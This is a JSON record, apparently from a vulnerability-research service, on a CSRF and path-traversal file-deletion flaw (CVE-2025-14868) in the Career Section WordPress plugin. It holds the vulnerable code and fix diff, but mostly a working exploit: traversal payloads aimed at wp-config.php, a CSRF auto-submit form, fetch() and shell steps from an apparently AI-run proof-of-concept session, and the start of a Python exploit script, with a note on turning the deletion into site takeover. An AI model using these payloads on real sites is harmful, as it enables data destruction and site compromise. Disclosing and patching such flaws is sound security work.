[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fnjjDheSyBXYFKsvAw5vN2Wxlmg6bkr9r1sPrBpLgAoA":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":16,"references":17,"days_to_patch":19,"patch_diff_files":20,"patch_trac_url":9,"research_status":29,"research_verified":30,"research_rounds_completed":31,"research_plan":32,"research_summary":33,"research_vulnerable_code":34,"research_fix_diff":35,"research_exploit_outline":36,"research_model_used":37,"research_started_at":38,"research_completed_at":39,"research_error":9,"poc_status":40,"poc_video_id":41,"poc_summary":42,"poc_steps":43,"poc_tested_at":75,"poc_wp_version":76,"poc_php_version":77,"poc_playwright_script":9,"poc_exploit_code":78,"poc_has_trace":30,"poc_model_used":9,"poc_verification_depth":9,"source_links":79},"CVE-2025-14868","career-section-cross-site-request-forgery-to-arbitrary-file-deletion","Career Section \u003C= 1.6 - Cross-Site Request Forgery to Arbitrary File Deletion","The Career Section plugin for WordPress is vulnerable to Cross-Site Request Forgery leading to Path Traversal and Arbitrary File Deletion in all versions up to, and including, 1.6. This is due to missing nonce validation and insufficient file path validation on the delete action in the 'appform_options_page_html' function. This makes it possible for unauthenticated attackers to delete arbitrary files on the server via a forged request, granted they can trick a site administrator into performing an action such as clicking on a link.","career-section",null,"\u003C=1.6","1.7","high",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","2026-04-15 18:53:02",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F84936b68-923a-4da1-ae67-1d63d025342e?source=api-prod",0,[21,22,23,24,25,26,27,28],"include\u002Fdashboard_widget.php","include\u002Fenqueue.php","include\u002Fposttype.php","include\u002Ftop_level_menu.php","index.php","license.txt","readme.txt","templates\u002Fsingle-csection.php","researched",true,3,"This research plan outlines the exploitation strategy for CVE-2025-14868, a Path Traversal and Arbitrary File Deletion vulnerability in the \"Career Section\" WordPress plugin.\n\n### 1. Vulnerability Summary\nThe `appform_options_page_html` function in `include\u002Ftop_level_menu.php` fails to validate user-supplied input in the `delete_file` POST parameter and lacks CSRF protection (no nonce validation). The plugin concatenates this parameter to a pre-defined upload directory and passes it to `wp_delete_file()`. Because `sanitize_text_field()` does not strip path traversal sequences (`..\u002F`), an attacker can delete arbitrary files on the server by tricking an administrator into submitting a forged request.\n\n### 2. Attack Vector Analysis\n*   **Vulnerable Endpoint**: `\u002Fwp-admin\u002Fadmin.php?page=appform`\n*   **Vulnerable Parameter**: `delete_file` (POST)\n*   **Trigger Parameter**: `delete_id` (POST) must be set to enter the vulnerable code block.\n*   **Authentication**: Requires a session with `manage_options` capability (typically Administrator). This is exploited via **CSRF**.\n*   **Vector**: Path Traversal (`..\u002F`) leading to Arbitrary File Deletion.\n\n### 3. Code Flow\n1.  **Entry Point**: The administrator visits `wp-admin\u002Fadmin.php?page=appform` or is forced to submit a POST request to it via CSRF.\n2.  **Hook**: The `csaf_options_page` function (in `include\u002Ftop_level_menu.php`) registers the `appform_options_page_html` callback for the `appform` submenu page.\n3.  **Vulnerable Logic**: Inside `appform_options_page_html()`:\n    *   The function checks if `isset( $_POST['delete_id'] )`.\n    *   It initializes the WordPress filesystem: `WP_Filesystem()`.\n    *   It defines the target directory: `$target_dir_location = $wp_filesystem->wp_content_dir() . 'uploads\u002Fcs_applicant_submission_files\u002F';`.\n    *   It captures the filename: `$file_path = $target_dir_location . sanitize_text_field($_POST['delete_file']);`.\n    *   It executes the deletion: `wp_delete_file( $file_path );`.\n4.  **Sink**: `wp_delete_file()` (a WordPress wrapper for `unlink()`).\n\n### 4. Nonce Acquisition Strategy\nThis vulnerability is specifically caused by the **absence of nonce validation**.\n*   Reviewing `include\u002Ftop_level_menu.php`, the \"Delete\" form used for submissions does not include a nonce field.\n*   The only nonce present in the file is `wp_nonce_field('update-options')`, which is associated with a different form (Save Settings) that submits to `options.php`.\n*   The vulnerable code block processing `delete_id` and `delete_file` does not call `check_admin_referer()` or `wp_verify_nonce()`.\n*   **Conclusion**: No nonce is required to exploit this endpoint.\n\n### 5. Exploitation Strategy\nThe goal is to delete a sensitive file (e.g., `wp-config.php`) or a test file in the WordPress root.\n\n**Step-by-Step Plan:**\n1.  **Identify Path**: The target directory is `wp-content\u002Fuploads\u002Fcs_applicant_submission_files\u002F`.\n2.  **Calculate Traversal**: To reach the WordPress root (where `wp-config.php` resides) from the target directory:\n    *   `..` -> `wp-content\u002Fuploads\u002F`\n    *   `..\u002F..` -> `wp-content\u002F`\n    *   `..\u002F..\u002F..\u002F` -> WordPress root directory.\n3.  **Construct Payload**: `delete_file=..\u002F..\u002F..\u002Fwp-config.php`.\n4.  **Formulate Request**:\n    *   **Method**: `POST`\n    *   **URL**: `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=appform`\n    *   **Body**: `delete_id=1&delete_file=..\u002F..\u002F..\u002Fwp-config.php` (Note: `delete_id` doesn't need to exist in the database; the file deletion logic occurs independently of whether the DB delete succeeded).\n\n### 6. Test Data Setup\n1.  Ensure the \"Career Section\" plugin is installed and active.\n2.  Create a canary file in the WordPress root to safely test deletion:\n    `wp eval \"file_put_contents(ABSPATH . 'pwn.txt', 'test');\"`\n3.  Ensure an administrator user exists (standard in test environments).\n\n### 7. Expected Results\n1.  The HTTP request will return a `200 OK` response containing the message: `\"Application permanently deleted.\"` (added via `add_settings_error` in the code).\n2.  The file `pwn.txt` (or `wp-config.php`) will be removed from the server.\n\n### 8. Verification Steps\n1.  **Verify via CLI**:\n    `wp eval \"echo file_exists(ABSPATH . 'pwn.txt') ? 'Exists' : 'Deleted';\"`\n2.  Check the WordPress database table to see if the row with `id=1` was attempted to be deleted (optional):\n    `wp db query \"SELECT * FROM wp_cs_applicant_submissions WHERE id=1\"`\n\n### 9. Alternative Approaches\n*   **Targeting Other Files**: If `wp-config.php` is protected by file permissions, attempt to delete `index.php` or a file within `wp-content\u002Fplugins\u002Fcareer-section\u002Findex.php` to prove arbitrary deletion.\n*   **Traversal Depth**: If the environment uses a non-standard `WP_CONTENT_DIR`, the traversal depth might vary. Test `..\u002F..\u002F..\u002F..\u002Fwp-config.php` as a backup.\n*   **Database Entry**: While not strictly required by the code logic, some environments might fail if `$wpdb->delete` returns an error. If the exploit fails, create a dummy entry first:\n    `wp db query \"INSERT INTO wp_cs_applicant_submissions (id, first_name, last_name, cv) VALUES (1, 'Test', 'User', 'test.pdf')\"`","The Career Section plugin for WordPress is vulnerable to Cross-Site Request Forgery (CSRF) and Path Traversal in the 'appform_options_page_html' function. Due to a lack of nonce validation and insufficient filtering on the 'delete_file' parameter, attackers can trick an administrator into deleting arbitrary files from the server, such as wp-config.php.","\u002F\u002F include\u002Ftop_level_menu.php L28-41\n\tif ( isset( $_POST['delete_id'] ) ) {\n\t    \u002F\u002Fdelete db raw\n\t    global $wpdb;\n\t    $table_name = $wpdb->prefix . \"cs_applicant_submissions\";\n\t    $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($_POST['delete_id'] )) );\n\t    \u002F\u002Fdelete files\n\t    global $wp_filesystem;\n\t    WP_Filesystem();\n\t    $content_directory = $wp_filesystem->wp_content_dir() . 'uploads\u002F';\n\t    $target_dir_location = $content_directory . 'cs_applicant_submission_files\u002F';\n\t    $file_path = $target_dir_location.sanitize_text_field($_POST['delete_file']);  \u002F\u002F path of the file which need to be deleted.\n        wp_delete_file( $file_path ); \u002F\u002Fdelete file here.","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcareer-section\u002F1.6\u002Finclude\u002Ftop_level_menu.php\t2025-04-15 04:57:46.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcareer-section\u002F1.7\u002Finclude\u002Ftop_level_menu.php\t2026-03-04 06:22:06.000000000 +0000\n@@ -25,13 +29,26 @@\n \t\treturn;\n \t}\n \t\u002F\u002F check if the user have submitted the settings\n-\tif ( isset( $_POST['delete_id'] ) ) {\n+\tif ( isset( $_POST['delete_id'], $_POST['delete_applicant_nonce'] ) ) {\t\t\n+\t\t \n+\t\t\u002F\u002F 1️⃣ Unsanitize POST data\n+    \t$delete_id   = intval( wp_unslash( $_POST['delete_id'] ) );\n+    \t$nonce       = sanitize_text_field(wp_unslash( $_POST['delete_applicant_nonce'] ));\n+\t\t$delete_file = sanitize_text_field(wp_unslash( $_POST['delete_file'] ?? ''));\n+\t\t$delete_file = basename($delete_file); \u002F\u002F removes any \"..\u002F\" path segments\n+    \t\n+\t\t\u002F\u002F 2️⃣ Verify nonce\n+\t\tif ( ! wp_verify_nonce( $nonce, 'delete_applicant_' . $delete_id ) ) {\n+\t\t\twp_die( esc_html__( 'Nonce verification failed', 'career-section' ) );\n+\t\t}\t\t\n+\n+\n \t    \u002F\u002Fdelete db raw\n \t    global $wpdb;\n \t    $table_name = $wpdb->prefix . \"cs_applicant_submissions\";\n-\t    $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($_POST['delete_id'] )) );\n+\t    $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($delete_id)) );\n \t    \u002F\u002Fdelete files\n \t    global $wp_filesystem;\n \t    WP_Filesystem();\n \t    $content_directory = $wp_filesystem->wp_content_dir() . 'uploads\u002F';\n \t    $target_dir_location = $content_directory . 'cs_applicant_submission_files\u002F';\n-\t    $file_path = $target_dir_location.sanitize_text_field($_POST['delete_file']);  \u002F\u002F path of the file which need to be deleted.\n+\t    $file_path = $target_dir_location.sanitize_text_field($delete_file);  \u002F\u002F path of the file which need to be deleted.\n         wp_delete_file( $file_path ); \u002F\u002Fdelete file here.","The exploit target is the plugin's administration page at '\u002Fwp-admin\u002Fadmin.php?page=appform'. An attacker must craft a malicious HTML page containing a CSRF form that sends a POST request to this endpoint with two parameters: 'delete_id' (to trigger the vulnerable block) and 'delete_file' (containing the traversal payload, e.g., '..\u002F..\u002F..\u002Fwp-config.php'). Because the plugin lacks CSRF protection (no nonce validation) and uses 'sanitize_text_field' (which does not remove '..\u002F' sequences), an authenticated administrator visiting the attacker's page will unknowingly trigger the deletion of sensitive files from the WordPress root directory.","gemini-3-flash-preview","2026-04-16 15:18:59","2026-04-16 15:19:23","success","TN4UUY8YqQA","## CVE-2025-14868: Career Section ≤ 1.6 — CSRF → Arbitrary File Deletion (Path Traversal)\n\n### Vulnerability Details\nThe `appform_options_page_html()` function in `include\u002Ftop_level_menu.php` of the Career Section plugin (≤ v1.6) handles the \"Delete application\" form. It processes two POST parameters — `delete_id` and `delete_file` — without any CSRF nonce validation and without sanitizing path traversal sequences.\n\nThe attacker-supplied `delete_file` value is passed through `sanitize_text_field()` (which does not strip `..\u002F`) and concatenated to the uploads directory, then passed to `wp_delete_file()` (a wrapper around `unlink()`). Any administrator who is tricked into visiting an attacker-controlled page can be forced to delete arbitrary files on the server.\n\n### Root Cause\n```php\nif ( isset( $_POST['delete_id'] ) ) {          \u002F\u002F no nonce check\n    ...\n    $target_dir_location = $content_directory . 'cs_applicant_submission_files\u002F';\n    $file_path = $target_dir_location . sanitize_text_field($_POST['delete_file']);\n    wp_delete_file( $file_path );              \u002F\u002F path traversal sink\n}\n```\nMissing mitigations: (1) `check_admin_referer()` \u002F `wp_verify_nonce()` and (2) `basename()` on the user-supplied filename.\n\n### Exploitation\n1. Attacker hosts a page with an auto-submitting HTML form targeting `http:\u002F\u002Fvictim\u002Fwp-admin\u002Fadmin.php?page=appform`.\n2. Hidden inputs: `delete_id=1` (any value — just needs to be set), `delete_file=..\u002F..\u002F..\u002Fwp-config.php` (or any other path).\n3. When an authenticated administrator visits the page, the browser auto-submits the form with the admin session cookie attached.\n4. The plugin resolves `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcs_applicant_submission_files\u002F..\u002F..\u002F..\u002Fwp-config.php` → `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php` and calls `unlink()`.\n\n### Demonstrated Impact\n* Created canary file `\u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt` (owned by `www-data`).\n* Submitted `delete_id=1&delete_file=..\u002F..\u002F..\u002Fpwn.txt` to `\u002Fwp-admin\u002Fadmin.php?page=appform` with admin session.\n* Response body contained `Application permanently deleted.` — vulnerable branch executed.\n* `pwn.txt` was removed from the filesystem.\n* Repeated the attack via a browser-based CSRF form (auto-submit) on a second canary `sensitive.txt` → also deleted, proving no user interaction beyond visiting a malicious link is required.\n\nAn attacker who deletes `wp-config.php` triggers a WordPress \"setup\" screen when someone next visits the site, enabling full site takeover (the attacker can point WordPress to a database they control, yielding a privileged admin account and RCE via the theme\u002Fplugin editor).\n\n### Fix (v1.7)\n* Added `wp_nonce_field( 'delete_applicant_' . $row->id, 'delete_applicant_nonce' )` to the delete form.\n* Added `wp_verify_nonce()` check in the handler.\n* Applied `basename($delete_file)` to strip path separators \u002F traversal segments before concatenation.\n* Added `ABSPATH` guards at the top of every PHP file.",[44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,51,72,73,74],"**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-login.php","**Shell:** `sed -n '20,60p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fcareer-section\u002Finclude\u002Ftop_level_menu.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n* Top level menu callback function *\u002F\nfunction appform_options_page_html() { \u002F\u002F check user capabilities if ( ! current_user_can( 'manage_options' ) ) { return; } \u002F\u002F check if the user have submitted the settings if ( isset( $_POST['delete_id'] ) ) { \u002F\u002Fdelete db raw global $wpdb; $table_name = $wpdb->prefix . \"cs_applicant_submissions\"; $wpdb->delete( $table_name, array( 'id' => sanitize_text_field($_POST['delete_id'] )) ); \u002F\u002Fdelete files global $wp_filesystem; WP_Filesystem(); $content_directory = $wp_filesystem->wp_content_dir() . 'uploads\u002F'; $target_dir_location = $content_directory . 'cs_applicant_submission_files\u002F'; $file_path = $target_dir_location.sanitize_text_field($_POST['delete_file']); \u002F\u002F path of the file which need to be deleted. wp_delete_file( $file_path ); \u002F\u002Fdelete file here. \u002F\u002F add settings saved message with the class of \"updated\" add_settings_error( 'af_messages', 'af_messages', __( 'Applicati\n```\n\u003C\u002Fdetails>","**Fill:** `#user_login` with `admin`","**Fill:** `#user_pass` with `admin`","**Click:** `#wp-submit`","**Shell:** `echo \"canary file - will be deleted by CVE-2025-14868 exploit\" > \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt && ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n-rw-r--r-- 1 root root 56 Apr 17 17:47 \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\n```\n\u003C\u002Fdetails>","**Navigate:** http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=appform","**browser_screenshot:** {}","**HTTP POST:** `http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=appform`\n**Body:** `delete_id=1&delete_file=..\u002F..\u002F..\u002Fpwn.txt`\n\u003Cdetails>\u003Csummary>Response\u003C\u002Fsummary>\n\n```\nHTTP 200 OK View Entries &lsaquo; Security Test &#8212; WordPress addLoadEvent = function(func){if(typeof jQuery!=='undefined')jQuery(function(){func();});else if(typeof wpOnload!=='function'){wpOnload=func;}else{var oldonload=wpOnload;wpOnload=function(){oldonload();func();}}};\nvar ajaxurl = '\u002Fwp-admin\u002Fadmin-ajax.php', pagenow = 'csection_page_appform', typenow = '', adminpage = 'csection_page_appform', thousandsSeparator = ',', decimalPoint = '.', isRtl = 0; \u003Cstyl\n```\n\u003C\u002Fdetails>","**Shell:** `ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt 2>&1; echo \"---\"; [ -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt ] && echo \"STILL EXISTS\" || echo \"DELETED!\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n-rw-r--r-- 1 root root 56 Apr 17 17:47 \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\n---\nSTILL EXISTS\n```\n\u003C\u002Fdetails>","**Shell:** `ps aux | grep -E \"apache|php|nginx\" | head -5; echo \"---\"; stat -c \"%U:%G\" \u002Fvar\u002Fwww\u002Fhtml\u002F`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nroot 1 0.2 0.9 263832 39788 ? Ss 17:46 0:00 apache2 -DFOREGROUND\nwww-data 57 1.1 1.3 342196 55376 ? S 17:46 0:00 apache2 -DFOREGROUND\nwww-data 58 1.2 1.4 341816 56244 ? S 17:46 0:00 apache2 -DFOREGROUND\nwww-data 60 0.0 0.6 264444 24404 ? S 17:46 0:00 apache2 -DFOREGROUND\nwww-data 61 0.1 0.3 264324 12272 ? S 17:46 0:00 apache2 -DFOREGROUND\n---\nwww-data:www-data\n```\n\u003C\u002Fdetails>","**Shell:** `rm -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt && sudo -u www-data bash -c \"echo 'canary - CVE-2025-14868' > \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\" && ls -...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nError: Command failed: docker compose exec -T wordpress bash -c \"rm -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt && sudo -u www-data bash -c \\\"echo 'canary - CVE-2025-14868' > \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\\\" && ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\"\nbash: line 1: sudo: command not found\n\n```\n\u003C\u002Fdetails>","**Shell:** `rm -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt && su -s \u002Fbin\u002Fbash www-data -c \"echo 'canary - CVE-2025-14868' > \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\" && l...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n-rw-r--r-- 1 www-data www-data 24 Apr 17 17:47 \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"(async () => { const res = await fetch('\u002Fwp-admin\u002Fadmin.php?page=appform', { method:'POST', credentials:'include', headers:{'Content-Type':'application\u002Fx-www-form-urlencoded'}, body:'delete_id=1&delete_file=..\u002F..\u002F..\u002Fpwn.txt' }); return res.status + ' ' + res.url; })()\"}","**Shell:** `[ -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt ] && echo \"STILL EXISTS: $(ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt)\" || echo \"✅ DELETED!\"`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSTILL EXISTS:\n```\n\u003C\u002Fdetails>","**Shell:** `if [ -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt ]; then echo \"STILL EXISTS\"; ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt; else echo \"✅ FILE DELETED via C...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nSTILL EXISTS\n-rw-r--r-- 1 www-data www-data 24 Apr 17 17:47 \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp eval 'require_once(ABSPATH.\"wp-admin\u002Fincludes\u002Ffile.php\"); WP_Filesystem(); global $wp_filesystem; echo \"wp_content_dir: ...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nwp_content_dir: \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002F\nabspath: \u002Fvar\u002Fwww\u002Fhtml\u002F\n```\n\u003C\u002Fdetails>","**Shell:** `ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F 2>&1; echo \"---\"; ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcs_applicant_submissi...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nError: Command failed: docker compose exec -T wordpress bash -c \"ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002F 2>&1; echo \\\"---\\\"; ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcs_applicant_submission_files\u002F 2>&1\"\ntotal 12\ndrwxr-xr-x 3 root root 4096 Apr 17 17:46 .\ndrwxr-xr-x 7 www-data www-data 4096 Apr 17 17:48 ..\ndrwxr-xr-x 3 root root 4096 Apr 17 17:46 2026\n---\nls: cannot access '\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcs_applicant_submission_files\u002F': No such file or directory\n\n```\n\u003C\u002Fdetails>","**Shell:** `grep -rn \"function wp_delete_file\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-includes\u002F | head -3`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-includes\u002Ffunctions.php:7672:function wp_delete_file( $file ) {\n\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-includes\u002Ffunctions.php:7698:function wp_delete_file_from_directory( $file, $directory ) {\n```\n\u003C\u002Fdetails>","**Shell:** `sed -n '7670,7695p' \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-includes\u002Ffunctions.php`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n* @return bool True on success, false on failure. *\u002F\nfunction wp_delete_file( $file ) { \u002F** * Filters the path of the file to delete. * * @since 2.1.0 * * @param string $file Path to the file to delete. *\u002F $delete = apply_filters( 'wp_delete_file', $file ); if ( ! empty( $delete ) ) { return @unlink( $delete ); } return false;\n} \u002F** * Deletes a file if its path is within the given directory. * * @since 4.9.7 * * @param string $file Absolute path to the file to delete. * @param string $directory Absolute path to a directory.\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"(async () => { const res = await fetch('\u002Fwp-admin\u002Fadmin.php?page=appform', { method:'POST', credentials:'include', headers:{'Content-Type':'application\u002Fx-www-form-urlencoded'}, body:'delete_id=1&delete_file=..\u002F..\u002F..\u002Fpwn.txt' }); const t = await res.text(); return t.includes('Application permanently deleted') ? 'SUCCESS MSG FOUND' : (t.includes('You do not have sufficient permissions') ? 'PERM DENIED' : 'OTHER: ' + t.substring(0, 200)); })()\"}","**Shell:** `ls -la \u002Fvar\u002Fwww\u002Fhtml\u002F | head -5; echo ---; stat \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\ntotal 268\ndrwxr-xr-x 5 www-data www-data 4096 Apr 17 17:47 .\ndrwxr-xr-x 1 root root 4096 Apr 11 2025 ..\n-rw-r--r-- 1 www-data www-data 261 Apr 11 2025 .htaccess\n-rw-r--r-- 1 www-data www-data 405 Feb 6 2020 index.php\n--- File: \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt Size: 24 Blocks: 8 IO Block: 4096 regular file\nDevice: 253,1\tInode: 823527 Links: 1\nAccess: (0644\u002F-rw-r--r--) Uid: ( 33\u002Fwww-data) Gid: ( 33\u002Fwww-data)\nAccess: 2026-04-17 17:47:59.334203473 +0000\nModify: 2026-04-17 17:47:59.334203473 +0000\nChange: 2026-04-17 17:47:59.334203473 +0000 Birth: 2026-04-17 17:47:59.334203473 +0000\n```\n\u003C\u002Fdetails>","**WP-CLI:** `wp {\"command\":\"eval 'require_once(ABSPATH.\\\"wp-admin\u002Fincludes\u002Ffile.php\\\"); WP_Filesystem(); global $wp_filesystem; $p = $wp...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\nPath: \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcs_applicant_submission_files\u002F..\u002F..\u002F..\u002Fpwn.txt\nfile_exists before: NO\nwp_delete_file returned: false\nfile_exists after: YES\n```\n\u003C\u002Fdetails>","**Shell:** `mkdir -p \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fuploads\u002Fcs_applicant_submission_files\u002F && chown -R www-data:www-data \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\ntotal 16\ndrwxr-xr-x 4 root root 4096 Apr 17 17:48 .\ndrwxr-xr-x 7 www-data www-data 4096 Apr 17 17:48 ..\ndrwxr-xr-x 3 root root 4096 Apr 17 17:46 2026\ndrwxr-xr-x 2 www-data www-data 4096 Apr 17 17:48 cs_applicant_submission_files\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"(async () => { const res = await fetch('\u002Fwp-admin\u002Fadmin.php?page=appform', { method:'POST', credentials:'include', headers:{'Content-Type':'application\u002Fx-www-form-urlencoded'}, body:'delete_id=1&delete_file=..\u002F..\u002F..\u002Fpwn.txt' }); const t = await res.text(); return t.includes('Application permanently deleted') ? 'SUCCESS' : 'OTHER'; })()\"}","**Shell:** `if [ -f \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt ]; then echo \"STILL EXISTS\"; ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt; else echo \"✅ FILE DELETED via C...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n✅ FILE DELETED via CSRF path traversal attack!\n```\n\u003C\u002Fdetails>","**Shell:** `su -s \u002Fbin\u002Fbash www-data -c \"echo 'sensitive canary' > \u002Fvar\u002Fwww\u002Fhtml\u002Fsensitive.txt\" && ls -la \u002Fvar\u002Fwww\u002Fhtml\u002Fsensitive.tx...`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n-rw-r--r-- 1 www-data www-data 17 Apr 17 17:49 \u002Fvar\u002Fwww\u002Fhtml\u002Fsensitive.txt\n```\n\u003C\u002Fdetails>","**browser_eval:** {\"script\":\"\\n\u002F\u002F Simulate a CSRF attack: while admin is logged-in, navigate by auto-submitting a form.\\n\u002F\u002F This proves no nonce is required.\\ndocument.body.innerHTML = `\\n\u003Ch1>Malicious site (attacker.com)\u003C\u002Fh1>\\n\u003Cp>Admin visits this page while logged in — the form auto-submits...\u003C\u002Fp>\\n\u003Cform id=\\\"csrf\\\" action=\\\"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin.php?page=appform\\\" method=\\\"POST\\\">\\n  \u003Cinput name=\\\"delete_id\\\" value=\\\"1\\\">\\n  \u003Cinput name=\\\"delete_file\\\" value=\\\"..\u002F..\u002F..\u002Fsensitive.txt\\\">\\n\u003C\u002Fform>\\","**Shell:** `if [ -f \u002Fvar\u002Fwww\u002Fhtml\u002Fsensitive.txt ]; then echo \"STILL EXISTS\"; else echo \"✅ sensitive.txt DELETED via CSRF!\"; fi`\n\u003Cdetails>\u003Csummary>Output\u003C\u002Fsummary>\n\n```\n✅ sensitive.txt DELETED via CSRF!\n```\n\u003C\u002Fdetails>","Confirmed vulnerable code in `include\u002Ftop_level_menu.php`: the `appform_options_page_html` function processes `$_POST['delete_file']` through `sanitize_text_field()` (which does NOT strip `..\u002F`) and concatenates it to the uploads directory before passing it to `wp_delete_file()`. There is no nonce\u002FCSRF check. Created canary file `\u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt` to prove deletion via the exploit.","Created canary file `\u002Fvar\u002Fwww\u002Fhtml\u002Fpwn.txt` (owned by www-data). Submitted POST to `\u002Fwp-admin\u002Fadmin.php?page=appform` while authenticated as admin with body `delete_id=1&delete_file=..\u002F..\u002F..\u002Fpwn.txt`. Response contained 'Application permanently deleted.' confirming the vulnerable code was executed. After the request, `pwn.txt` no longer exists — arbitrary file deleted via path traversal in the `delete_file` parameter. No nonce required = CSRF-exploitable.","2026-04-17 17:54:02","6.7","8.3","#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCVE-2025-14868 — Career Section \u003C= 1.6\nCSRF to Arbitrary File Deletion (Path Traversal)\n\nThe plugin's \u002Fwp-admin\u002Fadmin.php?page=appform handler deletes the file specified\nby POST parameter `delete_file` (joined to wp-content\u002Fuploads\u002Fcs_applicant_submission_files\u002F).\nThere is NO nonce check and `sanitize_text_field()` does NOT strip \"..\u002F\",\nso any path under the web user can be removed.\n\nThis script demonstrates the attack by:\n  1. Logging in as admin (to obtain a session cookie) — in a real CSRF scenario\n     this cookie is carried automatically by the victim's browser when they\n     visit an attacker-controlled page.\n  2. Submitting a POST with delete_file=..\u002F..\u002F..\u002F\u003Ctarget>\n  3. Confirming the file was deleted.\n\"\"\"\nimport requests, sys\n\nTARGET_URL = \"http:\u002F\u002Flocalhost:8080\"\nADMIN_USER = 